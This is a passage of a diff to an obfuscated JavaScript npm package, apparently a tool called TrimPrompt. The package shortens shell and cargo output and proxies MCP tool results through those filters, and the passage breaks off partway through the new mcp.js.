_0x24b93c=[];if(_0x364a0c[_0x17d56a(0x1eb)]>0x0){_0x24b93c[_0x17d56a(0x1ed)](_0x17d56a(0x1e8)+_0x364a0c[_0x17d56a(0x1eb)]+'\x20errors,\x20'+_0x5eba3b[_0x17d56a(0x1eb)]+'\x20warnings'),_0x24b93c[_0x17d56a(0x1ed)](_0x17d56a(0x1fe));for(const _0x497a32 of _0x364a0c['slice'](0x0,0x5))_0x24b93c['push']('\x20\x20'+_0x497a32);if(_0x364a0c[_0x17d56a(0x1eb)]>0x5)_0x24b93c[_0x17d56a(0x1ed)](_0x17d56a(0x201)+(_0x364a0c[_0x17d56a(0x1eb)]-0x5)+_0x17d56a(0x1ff));}else _0x24b93c['push'](_0x17d56a(0x1fa)+_0x397cd6+_0x17d56a(0x1f5)+_0x5eba3b[_0x17d56a(0x1eb)]+_0x17d56a(0x1e2));if(_0x5eba3b[_0x17d56a(0x1eb)]>0x0&&_0x5eba3b[_0x17d56a(0x1eb)]<=0x5){_0x24b93c[_0x17d56a(0x1ed)]('\x0aWarnings:');for(const _0x50f8af of _0x5eba3b)_0x24b93c[_0x17d56a(0x1ed)]('\x20\x20'+_0x50f8af);}else _0x5eba3b[_0x17d56a(0x1eb)]>0x5&&_0x24b93c[_0x17d56a(0x1ed)]('\x0a('+_0x5eba3b[_0x17d56a(0x1eb)]+_0x17d56a(0x1ef));return _0x24b93c[_0x17d56a(0x1d6)]('\x0a');}function a0_0x2899(){const _0x30778e=['28HyZJbI','startsWith','Cargo\x20test:\x20','replace','slice','Cargo:\x20','min','447756Pvyikg','length','Compiling\x20','push','trim','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','\x20\x20\x20\x20','test\x20result:','449742YiNcBf','split','2672HKlQug','\x20crates,\x20','warning:','error[','failures:','\x20crates\x20successfully','Cargo:\x20compiled\x20','\x20passed','filterCargoBuild','test\x20result:\x20ok','\x0aErrors:','\x20more\x20errors','386747SjabcM','\x20\x20...\x20+','warning[','includes','8NyrquA','filterCargoTest','2021820yJrTcU','\x20failed,\x20','join','205125JHXnrm','thread','1790OjjeYS','left:','\x20ignored','1701594nIwynK','\x0aFailures:','assert','error:','defineProperty','right:','\x20warnings'];a0_0x2899=function(){return _0x30778e;};return a0_0x2899();}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x390f7c=a0_0x6751;(function(_0x5e4128,_0x32bd1b){const _0x22e602=a0_0x6751,_0xa5b89a=_0x5e4128();while(!![]){try{const _0xecc01b=parseInt(_0x22e602(0xfb))/0x1+-parseInt(_0x22e602(0x111))/0x2+-parseInt(_0x22e602(0x107))/0x3+-parseInt(_0x22e602(0x10d))/0x4+-parseInt(_0x22e602(0x10f))/0x5+parseInt(_0x22e602(0x10c))/0x6*(parseInt(_0x22e602(0x100))/0x7)+-parseInt(_0x22e602(0xf7))/0x8*(-parseInt(_0x22e602(0xfd))/0x9);if(_0xecc01b===_0x32bd1b)break;else _0xa5b89a['push'](_0xa5b89a['shift']());}catch(_0x2641ac){_0xa5b89a['push'](_0xa5b89a['shift']());}}}(a0_0x1c3c,0x90b66));Object[a0_0x390f7c(0xef)](exports,a0_0x390f7c(0xf4),{'value':!![]}),exports[a0_0x390f7c(0x104)]=filterLs,exports[a0_0x390f7c(0x113)]=filterTree,exports[a0_0x390f7c(0xff)]=filterCat,exports['filterGrep']=filterGrep;function filterLs(_0x3c7bd1){const _0xc5ff24=a0_0x390f7c,_0x49d4d9=_0x3c7bd1['split']('\x0a')[_0xc5ff24(0xf0)](_0x3f9134=>_0x3f9134['trim']()[_0xc5ff24(0x108)]>0x0);if(_0x49d4d9[_0xc5ff24(0x108)]===0x0)return'Empty\x20directory';if(_0x49d4d9['length']<=0x1e)return _0x3c7bd1[_0xc5ff24(0xf5)]();const _0x86b3f9=[],_0xb33528=[];for(const _0x34f4d2 of _0x49d4d9){const _0x260041=_0x34f4d2[_0xc5ff24(0xf5)]();if(_0x260041[_0xc5ff24(0x10b)](_0xc5ff24(0x112))||_0x260041['startsWith']('d')&&_0x260041[_0xc5ff24(0x105)]('..'))continue;_0x260041[_0xc5ff24(0x101)]('/')||_0x260041[_0xc5ff24(0x10b)]('d')&&_0x260041['includes']('\x20')?_0x86b3f9[_0xc5ff24(0xee)](_0x260041):_0xb33528[_0xc5ff24(0xee)](_0x260041);}const _0x44a2b0=[];return _0x86b3f9[_0xc5ff24(0x108)]>0x0&&(_0x86b3f9[_0xc5ff24(0x108)]<=0xf?_0x44a2b0[_0xc5ff24(0xee)](..._0x86b3f9):(_0x44a2b0[_0xc5ff24(0xee)](..._0x86b3f9[_0xc5ff24(0xf8)](0x0,0xa)),_0x44a2b0[_0xc5ff24(0xee)]('...\x20+'+(_0x86b3f9[_0xc5ff24(0x108)]-0xa)+_0xc5ff24(0xfa)))),_0xb33528[_0xc5ff24(0x108)]>0x0&&(_0xb33528[_0xc5ff24(0x108)]<=0x14?_0x44a2b0[_0xc5ff24(0xee)](..._0xb33528):(_0x44a2b0[_0xc5ff24(0xee)](..._0xb33528[_0xc5ff24(0xf8)](0x0,0xf)),_0x44a2b0[_0xc5ff24(0xee)](_0xc5ff24(0xfe)+(_0xb33528[_0xc5ff24(0x108)]-0xf)+'\x20more\x20files'))),_0x44a2b0[_0xc5ff24(0xee)]('\x0a('+_0x86b3f9[_0xc5ff24(0x108)]+_0xc5ff24(0xf3)+_0xb33528[_0xc5ff24(0x108)]+_0xc5ff24(0xf1)),_0x44a2b0[_0xc5ff24(0x106)]('\x0a');}function filterTree(_0x31658e){const _0x54f222=a0_0x390f7c,_0x57f6c4=_0x31658e[_0x54f222(0x10a)]('\x0a');if(_0x57f6c4[_0x54f222(0x108)]<=0x32)return _0x31658e[_0x54f222(0xf5)]();const _0x9945ce=[];let _0x20573d=0x0,_0x5857cd=0x0,_0x285637=0x0;for(const _0x5a831d of _0x57f6c4){const _0xfc5bff=_0x5a831d['match'](/(\d+)\s+director/),_0x34013f=_0x5a831d[_0x54f222(0x103)](/(\d+)\s+file/);if(_0xfc5bff)_0x285637=parseInt(_0xfc5bff[0x1]);if(_0x34013f)_0x5857cd=parseInt(_0x34013f[0x1]);const _0x43bc0e=(_0x5a831d['match'](/^[│├└\s─]+/)||[''])[0x0][_0x54f222(0x108)];_0x43bc0e<=0x4&&(_0x9945ce[_0x54f222(0xee)](_0x5a831d),_0x20573d++);}return _0x57f6c4[_0x54f222(0x108)]>_0x9945ce[_0x54f222(0x108)]&&_0x9945ce[_0x54f222(0xee)](_0x54f222(0x109)+_0x285637+'\x20directories,\x20'+_0x5857cd+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x9945ce[_0x54f222(0x106)]('\x0a');}function a0_0x6751(_0x31ff75,_0x287eeb){const _0x1c3ca1=a0_0x1c3c();return a0_0x6751=function(_0x6751c1,_0x1f63ea){_0x6751c1=_0x6751c1-0xec;let _0x545383=_0x1c3ca1[_0x6751c1];return _0x545383;},a0_0x6751(_0x31ff75,_0x287eeb);}function a0_0x1c3c(){const _0x500163=['total\x20','filterTree','keys','\x20matches\x20in\x20this\x20file)','substring','push','defineProperty','filter','\x20files)','indexOf','\x20directories,\x20','__esModule','trim',':\x20...\x20(','3592OqyNbn','slice','No\x20matches\x20found','\x20more\x20directories','308252UsvFbw','\x20matches\x20across\x20','30807EEcUFT','...\x20+','filterCat','209279dVbEpJ','endsWith','\x0a...\x20[','match','filterLs','includes','join','1057839GKxVJQ','length','\x0a...\x20(','split','startsWith','78LpWjIm','555192VSCRnQ','\x20lines\x20truncated]\x20...\x0a','4442835wsteLh','\x20more\x20files\x20with\x20matches','522240iNVhUC'];a0_0x1c3c=function(){return _0x500163;};return a0_0x1c3c();}function filterCat(_0x212ae7){const _0x3685ad=a0_0x390f7c,_0x26bb2b=_0x212ae7[_0x3685ad(0x10a)]('\x0a');if(_0x26bb2b[_0x3685ad(0x108)]<=0x64)return _0x212ae7;const _0x5959dd=[];return _0x5959dd[_0x3685ad(0xee)](..._0x26bb2b[_0x3685ad(0xf8)](0x0,0x32)),_0x5959dd[_0x3685ad(0xee)](_0x3685ad(0x102)+(_0x26bb2b[_0x3685ad(0x108)]-0x50)+_0x3685ad(0x10e)),_0x5959dd[_0x3685ad(0xee)](..._0x26bb2b[_0x3685ad(0xf8)](-0x1e)),_0x5959dd[_0x3685ad(0xee)]('\x0a('+_0x26bb2b[_0x3685ad(0x108)]+'\x20lines\x20total)'),_0x5959dd[_0x3685ad(0x106)]('\x0a');}function filterGrep(_0x2fc636){const _0x43e5aa=a0_0x390f7c,_0x14cddb=_0x2fc636['split']('\x0a')[_0x43e5aa(0xf0)](_0x34de8a=>_0x34de8a['trim']()[_0x43e5aa(0x108)]>0x0);if(_0x14cddb[_0x43e5aa(0x108)]===0x0)return _0x43e5aa(0xf9);if(_0x14cddb[_0x43e5aa(0x108)]<=0x32)return _0x2fc636[_0x43e5aa(0xf5)]();const _0x26b027={},_0x12bdb8=[];for(const _0x1f3090 of _0x14cddb){const _0x58a3a3=_0x1f3090[_0x43e5aa(0xf2)](':');if(_0x58a3a3>0x0&&_0x58a3a3<0xc8){const _0x2b8a5f=_0x1f3090[_0x43e5aa(0xed)](0x0,_0x58a3a3);if(_0x2b8a5f[_0x43e5aa(0x105)]('/')||_0x2b8a5f[_0x43e5aa(0x105)]('\x5c')||_0x2b8a5f[_0x43e5aa(0x105)]('.')){if(!_0x26b027[_0x2b8a5f])_0x26b027[_0x2b8a5f]=[];_0x26b027[_0x2b8a5f][_0x43e5aa(0xee)](_0x1f3090[_0x43e5aa(0xed)](_0x58a3a3+0x1)[_0x43e5aa(0xf5)]());continue;}}_0x12bdb8[_0x43e5aa(0xee)](_0x1f3090);}const _0x2fa5e2=[],_0x292152=Object[_0x43e5aa(0x114)](_0x26b027);if(_0x292152['length']>0x0){const _0x40f4f8=0x14,_0x2f865a=_0x292152[_0x43e5aa(0xf8)](0x0,_0x40f4f8);for(const _0x24a1b9 of _0x2f865a){const _0x3d4124=_0x26b027[_0x24a1b9];if(_0x3d4124['length']<=0x3)for(const _0x5e7570 of _0x3d4124){_0x2fa5e2['push'](_0x24a1b9+':\x20'+_0x5e7570);}else _0x2fa5e2['push'](_0x24a1b9+':\x20'+_0x3d4124[0x0]),_0x2fa5e2[_0x43e5aa(0xee)](_0x24a1b9+_0x43e5aa(0xf6)+_0x3d4124['length']+_0x43e5aa(0xec));}_0x292152[_0x43e5aa(0x108)]>_0x40f4f8&&_0x2fa5e2['push'](_0x43e5aa(0xfe)+(_0x292152[_0x43e5aa(0x108)]-_0x40f4f8)+_0x43e5aa(0x110));}if(_0x12bdb8[_0x43e5aa(0x108)]>0x0){const _0x3d9984=0x1e;_0x2fa5e2[_0x43e5aa(0xee)](..._0x12bdb8[_0x43e5aa(0xf8)](0x0,_0x3d9984)),_0x12bdb8[_0x43e5aa(0x108)]>_0x3d9984&&_0x2fa5e2[_0x43e5aa(0xee)](_0x43e5aa(0xfe)+(_0x12bdb8['length']-_0x3d9984)+'\x20more\x20matches');}const _0xc72035=_0x14cddb[_0x43e5aa(0x108)];return _0x2fa5e2[_0x43e5aa(0xee)]('\x0a('+_0xc72035+_0x43e5aa(0xfc)+(_0x292152[_0x43e5aa(0x108)]||'?')+_0x43e5aa(0xf1)),_0x2fa5e2['join']('\x0a');}
1
+ 'use strict';const a0_0x1d76dd=a0_0x3535;(function(_0x2d313d,_0x5f31a9){const _0x10a71b=a0_0x3535,_0x49d19f=_0x2d313d();while(!![]){try{const _0x28b416=-parseInt(_0x10a71b(0x1c6))/0x1+parseInt(_0x10a71b(0x1d9))/0x2+parseInt(_0x10a71b(0x1e2))/0x3+-parseInt(_0x10a71b(0x1d0))/0x4+parseInt(_0x10a71b(0x1e1))/0x5+-parseInt(_0x10a71b(0x1db))/0x6+parseInt(_0x10a71b(0x1cf))/0x7;if(_0x28b416===_0x5f31a9)break;else _0x49d19f['push'](_0x49d19f['shift']());}catch(_0x1df42d){_0x49d19f['push'](_0x49d19f['shift']());}}}(a0_0x508c,0x8c046));function a0_0x3535(_0x4a9bae,_0x1ca97f){const _0x508c32=a0_0x508c();return a0_0x3535=function(_0x3535f8,_0x5b330a){_0x3535f8=_0x3535f8-0x1c2;let _0x3fec27=_0x508c32[_0x3535f8];return _0x3fec27;},a0_0x3535(_0x4a9bae,_0x1ca97f);}function a0_0x508c(){const _0x2c3563=['348573zxtdkC','length','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','match','filterTree','filterGrep','filter','Empty\x20directory','\x20more\x20matches','\x20matches\x20in\x20this\x20file)','...\x20+','914656teMrGY','substring','slice','\x20directories,\x20','includes','No\x20matches\x20found','trim','\x20more\x20directories',':\x20...\x20(','12705602JwJHUr','2870532YFgXKK','split','keys','total\x20','defineProperty','join','\x20files)','\x20lines\x20truncated]\x20...\x0a','indexOf','803650LAOVkm','filterLs','1174080LqkYeL','\x0a...\x20(','push','\x20lines\x20total)','\x20more\x20files\x20with\x20matches','startsWith','341885SWuqJl'];a0_0x508c=function(){return _0x2c3563;};return a0_0x508c();}Object[a0_0x1d76dd(0x1d4)](exports,'__esModule',{'value':!![]}),exports[a0_0x1d76dd(0x1da)]=filterLs,exports[a0_0x1d76dd(0x1e6)]=filterTree,exports['filterCat']=filterCat,exports[a0_0x1d76dd(0x1e7)]=filterGrep;function filterLs(_0x23ec22){const _0xc84e69=a0_0x1d76dd,_0x3ed690=_0x23ec22[_0xc84e69(0x1d1)]('\x0a')[_0xc84e69(0x1e8)](_0x3d5242=>_0x3d5242['trim']()[_0xc84e69(0x1e3)]>0x0);if(_0x3ed690[_0xc84e69(0x1e3)]===0x0)return _0xc84e69(0x1c2);if(_0x3ed690[_0xc84e69(0x1e3)]<=0x1e)return _0x23ec22[_0xc84e69(0x1cc)]();const _0x370c4e=[],_0xc0e34b=[];for(const _0x576935 of _0x3ed690){const _0xd00ea8=_0x576935['trim']();if(_0xd00ea8['startsWith'](_0xc84e69(0x1d3))||_0xd00ea8[_0xc84e69(0x1e0)]('d')&&_0xd00ea8[_0xc84e69(0x1ca)]('..'))continue;_0xd00ea8['endsWith']('/')||_0xd00ea8[_0xc84e69(0x1e0)]('d')&&_0xd00ea8[_0xc84e69(0x1ca)]('\x20')?_0x370c4e['push'](_0xd00ea8):_0xc0e34b[_0xc84e69(0x1dd)](_0xd00ea8);}const _0x54bdd3=[];return _0x370c4e[_0xc84e69(0x1e3)]>0x0&&(_0x370c4e[_0xc84e69(0x1e3)]<=0xf?_0x54bdd3[_0xc84e69(0x1dd)](..._0x370c4e):(_0x54bdd3['push'](..._0x370c4e[_0xc84e69(0x1c8)](0x0,0xa)),_0x54bdd3[_0xc84e69(0x1dd)](_0xc84e69(0x1c5)+(_0x370c4e[_0xc84e69(0x1e3)]-0xa)+_0xc84e69(0x1cd)))),_0xc0e34b[_0xc84e69(0x1e3)]>0x0&&(_0xc0e34b[_0xc84e69(0x1e3)]<=0x14?_0x54bdd3[_0xc84e69(0x1dd)](..._0xc0e34b):(_0x54bdd3['push'](..._0xc0e34b['slice'](0x0,0xf)),_0x54bdd3[_0xc84e69(0x1dd)](_0xc84e69(0x1c5)+(_0xc0e34b[_0xc84e69(0x1e3)]-0xf)+'\x20more\x20files'))),_0x54bdd3[_0xc84e69(0x1dd)]('\x0a('+_0x370c4e[_0xc84e69(0x1e3)]+_0xc84e69(0x1c9)+_0xc0e34b[_0xc84e69(0x1e3)]+'\x20files)'),_0x54bdd3[_0xc84e69(0x1d5)]('\x0a');}function filterTree(_0x25af0d){const _0x25b3fd=a0_0x1d76dd,_0x35d12c=_0x25af0d['split']('\x0a');if(_0x35d12c['length']<=0x32)return _0x25af0d[_0x25b3fd(0x1cc)]();const _0x24475a=[];let _0x836369=0x0,_0x6ed6ec=0x0,_0x399d20=0x0;for(const _0x408c8b of _0x35d12c){const _0x1cb35f=_0x408c8b[_0x25b3fd(0x1e5)](/(\d+)\s+director/),_0x1c1831=_0x408c8b['match'](/(\d+)\s+file/);if(_0x1cb35f)_0x399d20=parseInt(_0x1cb35f[0x1]);if(_0x1c1831)_0x6ed6ec=parseInt(_0x1c1831[0x1]);const _0x10f582=(_0x408c8b[_0x25b3fd(0x1e5)](/^[│├└\s─]+/)||[''])[0x0][_0x25b3fd(0x1e3)];_0x10f582<=0x4&&(_0x24475a[_0x25b3fd(0x1dd)](_0x408c8b),_0x836369++);}return _0x35d12c['length']>_0x24475a[_0x25b3fd(0x1e3)]&&_0x24475a[_0x25b3fd(0x1dd)](_0x25b3fd(0x1dc)+_0x399d20+_0x25b3fd(0x1c9)+_0x6ed6ec+_0x25b3fd(0x1e4)),_0x24475a['join']('\x0a');}function filterCat(_0x2682f7){const _0x5cc41a=a0_0x1d76dd,_0x4c0cce=_0x2682f7[_0x5cc41a(0x1d1)]('\x0a');if(_0x4c0cce[_0x5cc41a(0x1e3)]<=0x64)return _0x2682f7;const _0x465c5b=[];return _0x465c5b[_0x5cc41a(0x1dd)](..._0x4c0cce['slice'](0x0,0x32)),_0x465c5b[_0x5cc41a(0x1dd)]('\x0a...\x20['+(_0x4c0cce[_0x5cc41a(0x1e3)]-0x50)+_0x5cc41a(0x1d7)),_0x465c5b[_0x5cc41a(0x1dd)](..._0x4c0cce[_0x5cc41a(0x1c8)](-0x1e)),_0x465c5b['push']('\x0a('+_0x4c0cce[_0x5cc41a(0x1e3)]+_0x5cc41a(0x1de)),_0x465c5b[_0x5cc41a(0x1d5)]('\x0a');}function filterGrep(_0x2f5181){const _0x43873d=a0_0x1d76dd,_0x2313b8=_0x2f5181[_0x43873d(0x1d1)]('\x0a')['filter'](_0xc76043=>_0xc76043[_0x43873d(0x1cc)]()[_0x43873d(0x1e3)]>0x0);if(_0x2313b8[_0x43873d(0x1e3)]===0x0)return _0x43873d(0x1cb);if(_0x2313b8[_0x43873d(0x1e3)]<=0x32)return _0x2f5181['trim']();const _0x51485f={},_0x57fdfc=[];for(const _0x2ef219 of _0x2313b8){const _0x46ca3d=_0x2ef219[_0x43873d(0x1d8)](':');if(_0x46ca3d>0x0&&_0x46ca3d<0xc8){const _0x131d84=_0x2ef219[_0x43873d(0x1c7)](0x0,_0x46ca3d);if(_0x131d84[_0x43873d(0x1ca)]('/')||_0x131d84['includes']('\x5c')||_0x131d84[_0x43873d(0x1ca)]('.')){if(!_0x51485f[_0x131d84])_0x51485f[_0x131d84]=[];_0x51485f[_0x131d84]['push'](_0x2ef219[_0x43873d(0x1c7)](_0x46ca3d+0x1)[_0x43873d(0x1cc)]());continue;}}_0x57fdfc[_0x43873d(0x1dd)](_0x2ef219);}const _0x58e3c9=[],_0x567dd4=Object[_0x43873d(0x1d2)](_0x51485f);if(_0x567dd4[_0x43873d(0x1e3)]>0x0){const _0x5e03bd=0x14,_0x15028c=_0x567dd4[_0x43873d(0x1c8)](0x0,_0x5e03bd);for(const _0x1ccb24 of _0x15028c){const _0x4df345=_0x51485f[_0x1ccb24];if(_0x4df345[_0x43873d(0x1e3)]<=0x3)for(const _0x1550f2 of _0x4df345){_0x58e3c9[_0x43873d(0x1dd)](_0x1ccb24+':\x20'+_0x1550f2);}else _0x58e3c9[_0x43873d(0x1dd)](_0x1ccb24+':\x20'+_0x4df345[0x0]),_0x58e3c9['push'](_0x1ccb24+_0x43873d(0x1ce)+_0x4df345[_0x43873d(0x1e3)]+_0x43873d(0x1c4));}_0x567dd4['length']>_0x5e03bd&&_0x58e3c9[_0x43873d(0x1dd)](_0x43873d(0x1c5)+(_0x567dd4['length']-_0x5e03bd)+_0x43873d(0x1df));}if(_0x57fdfc[_0x43873d(0x1e3)]>0x0){const _0x2ba8bb=0x1e;_0x58e3c9[_0x43873d(0x1dd)](..._0x57fdfc[_0x43873d(0x1c8)](0x0,_0x2ba8bb)),_0x57fdfc[_0x43873d(0x1e3)]>_0x2ba8bb&&_0x58e3c9[_0x43873d(0x1dd)]('...\x20+'+(_0x57fdfc[_0x43873d(0x1e3)]-_0x2ba8bb)+_0x43873d(0x1c3));}const _0x2860eb=_0x2313b8[_0x43873d(0x1e3)];return _0x58e3c9[_0x43873d(0x1dd)]('\x0a('+_0x2860eb+'\x20matches\x20across\x20'+(_0x567dd4[_0x43873d(0x1e3)]||'?')+_0x43873d(0x1d6)),_0x58e3c9[_0x43873d(0x1d5)]('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x517775=a0_0x280b;(function(_0x55ce5b,_0x2bb264){const _0x5d94b6=a0_0x280b,_0xd50ceb=_0x55ce5b();while(!![]){try{const _0x141896=parseInt(_0x5d94b6(0x1df))/0x1*(parseInt(_0x5d94b6(0x1ff))/0x2)+parseInt(_0x5d94b6(0x204))/0x3*(-parseInt(_0x5d94b6(0x1e1))/0x4)+parseInt(_0x5d94b6(0x201))/0x5*(-parseInt(_0x5d94b6(0x203))/0x6)+-parseInt(_0x5d94b6(0x1ee))/0x7*(-parseInt(_0x5d94b6(0x1ec))/0x8)+parseInt(_0x5d94b6(0x20d))/0x9*(parseInt(_0x5d94b6(0x1f9))/0xa)+-parseInt(_0x5d94b6(0x1eb))/0xb*(parseInt(_0x5d94b6(0x1ed))/0xc)+parseInt(_0x5d94b6(0x1fb))/0xd;if(_0x141896===_0x2bb264)break;else _0xd50ceb['push'](_0xd50ceb['shift']());}catch(_0xe3e7db){_0xd50ceb['push'](_0xd50ceb['shift']());}}}(a0_0x1207,0x6231d));function a0_0x280b(_0x56d89c,_0x10c2e6){const _0x12070d=a0_0x1207();return a0_0x280b=function(_0x280b09,_0x26c3b4){_0x280b09=_0x280b09-0x1d7;let _0x488cbe=_0x12070d[_0x280b09];return _0x488cbe;},a0_0x280b(_0x56d89c,_0x10c2e6);}var __createBinding=this&&this[a0_0x517775(0x208)]||(Object[a0_0x517775(0x1e7)]?function(_0x4a85f1,_0x555df1,_0x33f044,_0x4b6dbb){const _0x39ac5e=a0_0x517775;if(_0x4b6dbb===undefined)_0x4b6dbb=_0x33f044;var _0x49806b=Object[_0x39ac5e(0x209)](_0x555df1,_0x33f044);(!_0x49806b||(_0x39ac5e(0x1e8)in _0x49806b?!_0x555df1[_0x39ac5e(0x207)]:_0x49806b['writable']||_0x49806b[_0x39ac5e(0x1f4)]))&&(_0x49806b={'enumerable':!![],'get':function(){return _0x555df1[_0x33f044];}}),Object[_0x39ac5e(0x1fa)](_0x4a85f1,_0x4b6dbb,_0x49806b);}:function(_0x287721,_0x5af0c4,_0x330cdb,_0x2e8340){if(_0x2e8340===undefined)_0x2e8340=_0x330cdb;_0x287721[_0x2e8340]=_0x5af0c4[_0x330cdb];}),__setModuleDefault=this&&this[a0_0x517775(0x1f7)]||(Object[a0_0x517775(0x1e7)]?function(_0x1f2b44,_0x239ca9){const _0x1ff79e=a0_0x517775;Object[_0x1ff79e(0x1fa)](_0x1f2b44,_0x1ff79e(0x1ef),{'enumerable':!![],'value':_0x239ca9});}:function(_0x5f1c3d,_0x3964b1){const _0xb991b4=a0_0x517775;_0x5f1c3d[_0xb991b4(0x1ef)]=_0x3964b1;}),__importStar=this&&this[a0_0x517775(0x1d9)]||(function(){var _0x297267=function(_0x1739ff){return _0x297267=Object['getOwnPropertyNames']||function(_0x562889){const _0x4b802e=a0_0x280b;var _0x4ad1f2=[];for(var _0x4b8c76 in _0x562889)if(Object[_0x4b802e(0x1de)][_0x4b802e(0x20b)][_0x4b802e(0x20c)](_0x562889,_0x4b8c76))_0x4ad1f2[_0x4ad1f2[_0x4b802e(0x206)]]=_0x4b8c76;return _0x4ad1f2;},_0x297267(_0x1739ff);};return function(_0x3b142f){const _0x581648=a0_0x280b;if(_0x3b142f&&_0x3b142f[_0x581648(0x207)])return _0x3b142f;var _0x512814={};if(_0x3b142f!=null){for(var _0x368e3b=_0x297267(_0x3b142f),_0x4b1401=0x0;_0x4b1401<_0x368e3b[_0x581648(0x206)];_0x4b1401++)if(_0x368e3b[_0x4b1401]!=='default')__createBinding(_0x512814,_0x3b142f,_0x368e3b[_0x4b1401]);}return __setModuleDefault(_0x512814,_0x3b142f),_0x512814;};}());Object[a0_0x517775(0x1fa)](exports,a0_0x517775(0x207),{'value':!![]}),exports[a0_0x517775(0x211)]=runMcpProxy;const child_process_1=require(a0_0x517775(0x1f1)),readline=__importStar(require(a0_0x517775(0x1f2))),filters_1=require(a0_0x517775(0x1ea)),tracker_1=require('./tracker');function runMcpProxy(_0x5b251e,_0x38201b){const _0x24dceb=a0_0x517775,_0x1197e6=(0x0,child_process_1[_0x24dceb(0x20a)])(_0x5b251e,_0x38201b,{'stdio':['pipe',_0x24dceb(0x1f8),_0x24dceb(0x205)]});process['stdin']['pipe'](_0x1197e6[_0x24dceb(0x1dc)]);const _0x9f1036=readline[_0x24dceb(0x20f)]({'input':_0x1197e6[_0x24dceb(0x1f3)],'terminal':![]});_0x9f1036['on'](_0x24dceb(0x1e2),_0x5dea2c=>{const _0x30dcd0=_0x24dceb;try{const _0x4ad6a6=JSON[_0x30dcd0(0x210)](_0x5dea2c);if(_0x4ad6a6&&_0x4ad6a6[_0x30dcd0(0x1f6)]===_0x30dcd0(0x1e6)&&_0x4ad6a6['id']!==undefined&&_0x4ad6a6[_0x30dcd0(0x1e4)]&&Array[_0x30dcd0(0x1e0)](_0x4ad6a6[_0x30dcd0(0x1e4)][_0x30dcd0(0x202)])){let _0x2cf781=![];for(const _0x3b72d0 of _0x4ad6a6[_0x30dcd0(0x1e4)][_0x30dcd0(0x202)]){if(_0x3b72d0[_0x30dcd0(0x1d8)]===_0x30dcd0(0x1d7)&&typeof _0x3b72d0['text']===_0x30dcd0(0x1fc)&&_0x3b72d0[_0x30dcd0(0x1d7)][_0x30dcd0(0x1e3)]()[_0x30dcd0(0x206)]>0x0){const _0x50283c=_0x3b72d0[_0x30dcd0(0x1d7)],_0x426ce0=(0x0,filters_1[_0x30dcd0(0x1db)])(_0x30dcd0(0x1da),_0x50283c,'',tracker_1['tracker'][_0x30dcd0(0x1f5)]()[_0x30dcd0(0x200)]);tracker_1['tracker']['logExecution'](_0x30dcd0(0x1fd)+_0x4ad6a6['id']+')',_0x50283c,_0x426ce0,0x0),_0x3b72d0[_0x30dcd0(0x1d7)]=_0x426ce0,_0x2cf781=!![];}}_0x2cf781?process[_0x30dcd0(0x1f3)]['write'](JSON[_0x30dcd0(0x1e5)](_0x4ad6a6)+'\x0a'):process[_0x30dcd0(0x1f3)][_0x30dcd0(0x1dd)](_0x5dea2c+'\x0a');}else process[_0x30dcd0(0x1f3)][_0x30dcd0(0x1dd)](_0x5dea2c+'\x0a');}catch{process['stdout']['write'](_0x5dea2c+'\x0a');}}),_0x1197e6['on']('close',_0x20b163=>{process['exit'](_0x20b163||0x0);}),_0x1197e6['on']('error',_0x197fea=>{const _0x5d1614=_0x24dceb;console[_0x5d1614(0x20e)](_0x5d1614(0x1f0)+_0x197fea[_0x5d1614(0x1fe)]),process[_0x5d1614(0x1e9)](0x1);});}function a0_0x1207(){const _0x176725=['__esModule','__createBinding','getOwnPropertyDescriptor','spawn','hasOwnProperty','call','80217UIjIpQ','error','createInterface','parse','runMcpProxy','text','type','__importStar','mcp-tool-call','compressOutput','stdin','write','prototype','6vtSkgZ','isArray','4kCggus','line','trim','result','stringify','2.0','create','get','exit','./filters','11uyJDVT','8GpfftA','5398092TcKwOd','4684729hfRZbt','default','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','child_process','readline','stdout','configurable','getConfig','jsonrpc','__setModuleDefault','pipe','590FWigDV','defineProperty','1670474QJoDnn','string','mcp\x20tool\x20(id:\x20','message','267936lDanPv','redaction_enabled','141595mxdCRZ','content','138IntrDC','1872111mfejiK','inherit','length'];a0_0x1207=function(){return _0x176725;};return a0_0x1207();}
1
+ 'use strict';function a0_0x4b5f(_0x4db878,_0x4130a8){const _0x46f450=a0_0x46f4();return a0_0x4b5f=function(_0x4b5f5a,_0x17c58c){_0x4b5f5a=_0x4b5f5a-0x106;let _0x3f15e8=_0x46f450[_0x4b5f5a];return _0x3f15e8;},a0_0x4b5f(_0x4db878,_0x4130a8);}const a0_0x32c45d=a0_0x4b5f;(function(_0x80d026,_0x5e63a5){const _0x13b74a=a0_0x4b5f,_0x141c7c=_0x80d026();while(!![]){try{const _0xbca2d9=-parseInt(_0x13b74a(0x114))/0x1+parseInt(_0x13b74a(0x12b))/0x2*(parseInt(_0x13b74a(0x12a))/0x3)+parseInt(_0x13b74a(0x134))/0x4*(-parseInt(_0x13b74a(0x120))/0x5)+-parseInt(_0x13b74a(0x139))/0x6+-parseInt(_0x13b74a(0x13a))/0x7*(parseInt(_0x13b74a(0x131))/0x8)+-parseInt(_0x13b74a(0x119))/0x9*(-parseInt(_0x13b74a(0x121))/0xa)+parseInt(_0x13b74a(0x11a))/0xb;if(_0xbca2d9===_0x5e63a5)break;else _0x141c7c['push'](_0x141c7c['shift']());}catch(_0x3412d8){_0x141c7c['push'](_0x141c7c['shift']());}}}(a0_0x46f4,0x76e00));var __createBinding=this&&this[a0_0x32c45d(0x107)]||(Object[a0_0x32c45d(0x12f)]?function(_0x34d34e,_0x2a9d76,_0x465f9c,_0x195e9d){const _0x5d1a26=a0_0x32c45d;if(_0x195e9d===undefined)_0x195e9d=_0x465f9c;var _0x1f1012=Object[_0x5d1a26(0x116)](_0x2a9d76,_0x465f9c);(!_0x1f1012||('get'in _0x1f1012?!_0x2a9d76[_0x5d1a26(0x127)]:_0x1f1012[_0x5d1a26(0x10a)]||_0x1f1012[_0x5d1a26(0x13c)]))&&(_0x1f1012={'enumerable':!![],'get':function(){return 